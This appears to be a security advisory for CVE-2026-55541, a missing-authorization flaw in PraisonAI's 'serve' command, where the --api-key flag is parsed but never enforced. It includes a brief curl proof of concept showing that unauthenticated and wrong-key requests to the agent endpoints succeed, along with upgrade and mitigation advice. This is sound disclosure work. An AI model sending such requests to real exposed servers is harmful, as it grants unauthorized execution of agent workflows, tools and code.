highCVE-2026-55541Aug 25, 2026

CVE-2026-55541: PraisonAI serve --api-key Flag Missing Authorization

Rohit Hatagale
AI Security Researcher, SecureLayer7

PraisonAI's serve command accepts an --api-key flag that it never actually enforces, leaving every agent workflow endpoint wide open to anyone who can reach the server.

PackagePraisonAI
Ecosystempip
Affected< 4.6.58
Fixed in4.6.58
CVE-2026-55541: PraisonAI serve --api-key Flag Missing Authorization

The problem

The praisonai serve agents and praisonai serve unified commands advertise --api-key <key> for authentication. The CLI parses the flag and stores it in config["api_key"], but neither _create_agents_app() nor _create_unified_app() reads that value. No FastAPI dependency, no middleware, and no header check is ever added.

The result is that POST /agents, POST /agents/{name}, POST /api/v1/agents/{id}/invoke, and the discovery endpoints all accept requests without any credential. An operator who sets --api-key gets no error and no warning, so they believe the server is protected when it is not.

Anyone who can reach the port can trigger the full agent workflow, which may include LLM calls, tool use, file access, code execution, and web requests.

Proof of concept

A working proof-of-concept for CVE-2026-55541 in PraisonAI, with the exact payload below.

bash
# Start the server with a key (operator thinks this protects it)
praisonai serve agents --api-key supersecret --host 0.0.0.0 --port 9999

# Hit it with no credentials at all — returns 200, workflow executes
curl -s -X POST http://localhost:9999/agents \
  -H "Content-Type: application/json" \
  -d '{"query":"run all agents"}'

# Also returns 200 — wrong key is equally accepted
curl -s -X POST http://localhost:9999/agents \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer TOTALLY_WRONG" \
  -d '{"query":"run all agents"}'

The root cause is a wiring gap, not a logic error. serve.py line 199 records "api_key": {"default": None} in the arg spec, and the parsed value is passed into the app factory as part of config. But _create_agents_app(config) never calls config.get("api_key") and never registers a FastAPI Depends() guard or app.middleware() call.

The app is returned with zero auth regardless of what the operator passed on the command line.

The fix in 4.6.58 (commit 2f9677a) wires config["api_key"] into a FastAPI dependency that checks the Authorization: Bearer header on every request and returns HTTP 401 when the token is absent or wrong. The CWE is CWE-862 (Missing Authorization).

The fix

Upgrade praisonai to 4.6.58 or later via pip install --upgrade praisonai. If upgrading is not immediately possible, do not expose praisonai serve on a non-loopback address, and place an authenticating reverse proxy (nginx, Caddy, Traefik) in front of the port.

Reported by Shmulik Cohen.

References: [1][2][3][4]

Related research